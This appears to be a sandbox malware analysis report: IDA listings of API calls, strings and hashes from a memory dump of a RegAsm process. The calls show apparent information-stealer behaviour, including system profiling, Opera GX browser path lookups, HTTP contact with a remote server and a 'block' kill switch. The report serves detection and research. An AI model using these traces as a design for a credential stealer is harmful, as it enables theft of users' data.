Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: b7a1cadd6af1d37ce2bb42d3d59b767d7a88e45211d7c1549b2bead73dd6883c
Instruction ID: 5a1b8344219bb76cf6eb49664f8bd172239daab24317a4b126cc0b4746ce801e
Opcode Fuzzy Hash: b7a1cadd6af1d37ce2bb42d3d59b767d7a88e45211d7c1549b2bead73dd6883c
Instruction Fuzzy Hash: 66F03075640215FBFB109BD1DC0BF6E7A7DEB45F04F201069F701A5091E6B46A109B24

Uniqueness

Uniqueness Score: -1.00%

Function 004159CB Relevance: 8.1, APIs: 5, Instructions: 614networksleepCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004159D0

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 00412424: _EH_prolog.MSVCRT ref: 00412429

Part of subcall function 004121C3: _EH_prolog.MSVCRT ref: 004121C8

Part of subcall function 0040E986: lstrlenA.KERNEL32(?,00000000,?,00415A25,004254FF,004254FE,00000000,00000000,?,004162DD), ref: 0040E98F
Part of subcall function 0040E986: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E9C3

Part of subcall function 00416676: GetProcAddress.KERNEL32(74DD0000,00415AF4), ref: 0041668A
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004166A1
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004166B8
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004166CF
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004166E6
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004166FD
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416714
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 0041672B
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416742
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416759
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416770
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416787
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 0041679E
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004167B5
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004167CC
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004167E3
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 004167FA
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416811
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416828
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 0041683F
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416856
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 0041686D
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 00416884
Part of subcall function 00416676: GetProcAddress.KERNEL32 ref: 0041689B

Part of subcall function 0040FB47: _EH_prolog.MSVCRT ref: 0040FB4C
Part of subcall function 0040FB47: GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,?,00411C31,?,00425503,00000000,?,00000040,00000064,00412598,00411C31,?,0000002C,00000064), ref: 00415B9D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0041283A: _EH_prolog.MSVCRT ref: 0041283F

Part of subcall function 004124D3: _EH_prolog.MSVCRT ref: 004124D8

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00415C82
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00415C9E

Part of subcall function 0040F52A: _EH_prolog.MSVCRT ref: 0040F52F
Part of subcall function 0040F52A: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,?,00000000), ref: 0040F552
Part of subcall function 0040F52A: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0040F584
Part of subcall function 0040F52A: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0040F5C7
Part of subcall function 0040F52A: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 0040F5CE

Part of subcall function 00403B17: _EH_prolog.MSVCRT ref: 00403B1C
Part of subcall function 00403B17: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403BC7
Part of subcall function 00403B17: StrCmpCA.SHLWAPI(?), ref: 00403BDE

Part of subcall function 00410BF7: _EH_prolog.MSVCRT ref: 00410BFC
Part of subcall function 00410BF7: StrCmpCA.SHLWAPI(00000000,block,00000000,?,?,00415D19), ref: 00410C1E
Part of subcall function 00410BF7: ExitProcess.KERNEL32 ref: 00410C29

Part of subcall function 00405183: _EH_prolog.MSVCRT ref: 00405188
Part of subcall function 00405183: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405233
Part of subcall function 00405183: StrCmpCA.SHLWAPI(?), ref: 0040524A

Part of subcall function 004106E3: _EH_prolog.MSVCRT ref: 004106E8
Part of subcall function 004106E3: strtok_s.MSVCRT ref: 0041070F
Part of subcall function 004106E3: StrCmpCA.SHLWAPI(00000000,004254A8,?,?,?,?,00415EA8), ref: 00410740
Part of subcall function 004106E3: strtok_s.MSVCRT ref: 004107A1

Part of subcall function 00401ED6: _EH_prolog.MSVCRT ref: 00401EDB

Part of subcall function 00405183: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004053D2
Part of subcall function 00405183: HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00405409

Part of subcall function 00411B93: _EH_prolog.MSVCRT ref: 00411B98
Part of subcall function 00411B93: strtok_s.MSVCRT ref: 00411BBF

Sleep.KERNEL32(000003E8), ref: 00416057

Part of subcall function 00405183: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 0040542E

Part of subcall function 00411B93: strtok_s.MSVCRT ref: 00411BFF

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$H_prolog$Internetlstrcpy$Open$strtok_s$DirectoryHeapProcesslstrcatlstrlen$AllocConnectCreateExitHttpInformationOptionRequestSleepSystemTimeVolumeWindows
String ID:
API String ID: 4125082457-0
Opcode ID: 738281476d5284411635911381d097a2b9744545c5ef9b347938e2c271a1d684
Instruction ID: 481a4604d310252fad8a217da08601282fa68929c26b5bc73ce888e1270fc528
Opcode Fuzzy Hash: 738281476d5284411635911381d097a2b9744545c5ef9b347938e2c271a1d684
Instruction Fuzzy Hash: 6A3241B1D00258EADF10EBA5C946BDDBBB8AF15304F5045AFE44473281DB781B98CBA7

Uniqueness

Uniqueness Score: -1.00%

Function 004024F9 Relevance: 7.5, APIs: 5, Instructions: 39memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00402512

Part of subcall function 0040247E: memset.MSVCRT ref: 004024A3
Part of subcall function 0040247E: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,00000000,?,00000000,00000000), ref: 004024C9
Part of subcall function 0040247E: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,?,?,00000000,00000000), ref: 004024E3

strcat.MSVCRT(?,00000000,?,?,00000000,00000104), ref: 00402527
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00402532
RtlAllocateHeap.NTDLL(00000000), ref: 00402539

Part of subcall function 0040232A: ??_U@YAPAXI@Z.MSVCRT ref: 004023AF

memset.MSVCRT ref: 00402562

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$BinaryCryptHeapString$AllocateProcessstrcat
String ID:
API String ID: 3248666761-0
Opcode ID: 56d512cd650d7da32bd0f446be5566ee4961e3d79870d63763c05bef8aae14ff
Instruction ID: 009d821118f090afdc25ade215e33f6b4a4e9640787576255bfffd64c02f4d4b
Opcode Fuzzy Hash: 56d512cd650d7da32bd0f446be5566ee4961e3d79870d63763c05bef8aae14ff
Instruction Fuzzy Hash: 9AF044B6D45218B7CB10ABA4DD09FCE7B7C9F14304F4000A6B945F3091D9B897C48BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040C745

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

StrCmpCA.SHLWAPI(00000000,Opera GX,00424C1E,00424C1B,?,?,?), ref: 0040C78F

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 0040FCC8: _EH_prolog.MSVCRT ref: 0040FCCD
Part of subcall function 0040FCC8: GetFileAttributesA.KERNEL32(00000000,?,0040CB40,?,?,?,?), ref: 0040FCE1

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040B20D: _EH_prolog.MSVCRT ref: 0040B212
Part of subcall function 0040B20D: StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040B265
Part of subcall function 0040B20D: memcmp.MSVCRT ref: 0040B2A3

Strings

#, xrefs: 0040CC53
Opera GX, xrefs: 0040C777

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlenmemcmp
String ID: #$Opera GX
API String ID: 2375657845-1046280356
Opcode ID: 8866180c248b04107ceca5b02e10f312feb85f5beb80ce1b124fe179e79141c5
Instruction ID: a684bc4bbdfdd742dd69a8864078cee1b8c31bdc79ed69174b03648f1a7ae84f
Opcode Fuzzy Hash: 8866180c248b04107ceca5b02e10f312feb85f5beb80ce1b124fe179e79141c5
Instruction Fuzzy Hash: 6B0280B190024CEADF04EBE6D946ADEBBB8AF15304F10456FE445732C2DB781B18DB66

Uniqueness

Uniqueness Score: -1.00%

Function 1B49FD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,?), ref: 1B49FE03

Strings

winRead, xrefs: 1B49FE3D
delayed %dms for lock/sharing conflict at line %d, xrefs: 1B49FE78

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: FileRead
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 2738559852-1843600136
Opcode ID: 58db7b8644488676fb928779716aa6e564040abf7404ed06bab8c93298f02520
Instruction ID: 9b9df00a12a0ec12a708bc468b00b4bbadf7eea6aded18a13cd8dbcd08b2ed36
Opcode Fuzzy Hash: 58db7b8644488676fb928779716aa6e564040abf7404ed06bab8c93298f02520
Instruction Fuzzy Hash: D5412A726043456BC704EE64DD81AEBBBE9FFC8610F844A2DF545C3640E735F9188BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0041224D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00412252
lstrlenA.KERNEL32(00000000), ref: 0041226F
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412333

Strings

ERROR, xrefs: 0041232D

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen
String ID: ERROR
API String ID: 2133942097-2861137601
Opcode ID: a87326763ab26b5bf997aa19061bf6032c3bda0a8255bfd92b573cb4ac70b026
Instruction ID: 81628774b56aed9d0f5020bfdca245de47ae03dea59a744ffdf6c1e7acfd63da
Opcode Fuzzy Hash: a87326763ab26b5bf997aa19061bf6032c3bda0a8255bfd92b573cb4ac70b026
Instruction Fuzzy Hash: 013193B1D00248EFCB00EBAAD946BDD7FB4AF15314F10846EF505B7282DB389658CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00411F59 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411F5E

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00404F61: _EH_prolog.MSVCRT ref: 00404F66
Part of subcall function 00404F61: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F61: StrCmpCA.SHLWAPI(?), ref: 00404FDD
Part of subcall function 00404F61: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405000
Part of subcall function 00404F61: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405036
Part of subcall function 00404F61: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 0040505A
Part of subcall function 00404F61: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405065
Part of subcall function 00404F61: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00405083

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00411FBC

Strings

ERROR, xrefs: 00411FE4
ERROR, xrefs: 00411FAA

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$H_prologOpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 1120091252-2579291623
Opcode ID: 91eacdcf851b3d8d85c681b5090c5120ca816d5547e4b74d7fec90f52f836fe4
Instruction ID: 6b2d634253405be8c5f43d4141b9d53bbe17c28d9337b4cfcffda792731edf8e
Opcode Fuzzy Hash: 91eacdcf851b3d8d85c681b5090c5120ca816d5547e4b74d7fec90f52f836fe4
Instruction Fuzzy Hash: A9217FB0900249DADB00FBA6C546BDD7BB4AF19308F50449EE845732C2DB785B18CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040FFEC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,b9A), ref: 00410004
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0041001F
CloseHandle.KERNEL32(00000000), ref: 00410026

Strings

b9A, xrefs: 0040FFFA

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: b9A
API String ID: 3183270410-3142400736
Opcode ID: bc527b734b92f9eba7d41ed0cd07446c584826262838bdca42fc7cf2ed07d18c
Instruction ID: 94146815f73e90882d50ab05f7cdea788e8ccce751a04c66c5f7543adfc6d98a
Opcode Fuzzy Hash: bc527b734b92f9eba7d41ed0cd07446c584826262838bdca42fc7cf2ed07d18c
Instruction Fuzzy Hash: 93F03075905228BBEB60AB90DC09FDA3B69AB09715F000051BE85A71D0DBB49AC48B94

Uniqueness

Uniqueness Score: -1.00%

Function 00413452 Relevance: 6.1, APIs: 4, Instructions: 76sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00413457

Part of subcall function 00412387: _EH_prolog.MSVCRT ref: 0041238C

Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004134DB
CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$CreateObjectSingleSleepThreadWait
String ID:
API String ID: 2678630583-0
Opcode ID: a7b9f64791e70cf1c0a29bdf069b9ccecdfe24c4a1e9e9e8f6d04d9af182eda4
Instruction ID: cdd2cd2622ea30bd84fe18c8e1ac9c10eef98ce14977c551e77fd85709594c3d
Opcode Fuzzy Hash: a7b9f64791e70cf1c0a29bdf069b9ccecdfe24c4a1e9e9e8f6d04d9af182eda4
Instruction Fuzzy Hash: 1F311075900158EFCB01DFA5C985ADE7BB8FF15304F10456BF802A7291DB789B88CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EE07 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042560C), ref: 0040EE1B
HeapAlloc.KERNEL32(00000000,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,0042560C,00000000,?), ref: 0040EE22
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040EE40
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00413F6C,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040EE5C

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 5a348dce4926add7b50cf3e1a3237f7deaf910ff3e5a2bc42b85e6f6daaeb5b6
Instruction ID: 8df98c4356d6ba5c673d2f3e4e9eaa3c3292b94e57536a3ef5c29255e46278c9
Opcode Fuzzy Hash: 5a348dce4926add7b50cf3e1a3237f7deaf910ff3e5a2bc42b85e6f6daaeb5b6
Instruction Fuzzy Hash: FCF05E7A240218FFFB109BD1DD0EFAA7A7EEB49B40F101025FB01A61A0D7B05910DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040232A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 004023AF

Strings

X%@, xrefs: 00402334, 0040233D
X%@, xrefs: 0040244E, 00402442

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
